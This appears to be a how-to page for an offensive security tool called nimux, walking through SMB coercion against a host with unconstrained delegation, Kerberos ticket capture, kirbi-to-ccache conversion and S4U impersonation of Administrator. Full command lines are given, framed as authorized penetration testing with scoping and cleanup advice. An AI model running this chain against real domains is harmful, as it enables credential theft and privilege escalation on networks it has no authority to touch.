Coercion and Ticket Capture with nimux

Overview

In environments where a host has unconstrained delegation or a ticket capture path is explicitly in scope, an operator may validate whether a coerced authentication can produce a reusable Kerberos ticket. This is sensitive and should be done only with explicit authorization.

nimux includes SMB coercion and ticket capture options, plus Kerberos conversion and S4U workflows, so the validation can stay inside one command surface.

Identify the capture host

The capture host should be approved and should have the right delegation posture. Enumerate delegation first:

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --query unconstrained \
  --json > unconstrained.jsonl

Confirm the capture host and the coerced target are both in scope. Do not test coercion against broad target sets.

Trigger and capture

A neutral command shape for an approved target looks like this:

nimux smb dc01.corp.local -d corp.local -u Administrator -H <nt_hash> \
  --coerce \
  --coerce-target workstation01.child.corp.local \
  --listener dc01.corp.local \
  --capture-tickets \
  --capture-host dc01.corp.local \
  --ticket-user 'workstation01$' \
  --ticket-service krbtgt \
  --capture-seconds 20 \
  --capture-interval 1 \
  --capture-out workstation01-ticket

The important parts are:

• --coerce-target is the host being asked to authenticate.
• --listener is the host receiving the authentication.
• --capture-host is where the ticket monitor runs.
• --ticket-user scopes which account ticket you expect.
• --capture-out gives the output a stable evidence name.

Convert or inspect ticket material

If the capture produces a kirbi file, convert it to ccache:

nimux kerberos dc01.corp.local -d child.corp.local \
  --request kirbi-to-ccache \
  --kirbi workstation01-ticket.kirbi \
  --out workstation01.ccache

Describe the ccache before using it:

nimux kerberos dc01.corp.local -d child.corp.local \
  --request list \
  --ccache workstation01.ccache

Request a service ticket from the captured context

For self-service or S4U style validation, request only the service required for the proof.

nimux kerberos dc01.child.corp.local -d child.corp.local \
  --request s4u \
  --ccache workstation01.ccache \
  --user Administrator \
  --service cifs/workstation01.child.corp.local \
  --out administrator-cifs-workstation01.ccache

Then validate with the matching protocol:

nimux smb workstation01.child.corp.local -d child.corp.local -k \
  --ccache administrator-cifs-workstation01.ccache \
  --shares

Troubleshooting

Common issues include:

• The coercion target service is not available.
• The listener hostname does not match the expected SPN path.
• The capture window is too short.
• The ticket user filter does not match the machine account name.
• DNS differs between the operator, capture host, and target.
• The captured ticket is for a service that does not match the follow-up protocol.

Keep the SPN, hostname, and service aligned. Kerberos failures often come from naming problems, not from lack of privilege.

Cleanup and reporting

Remove temporary files, stop monitors, and store ticket artifacts securely. The report should explain the delegation condition, the coerced target, the captured principal, the requested service ticket, and the validation result. Raw ticket material should usually be redacted from report copies.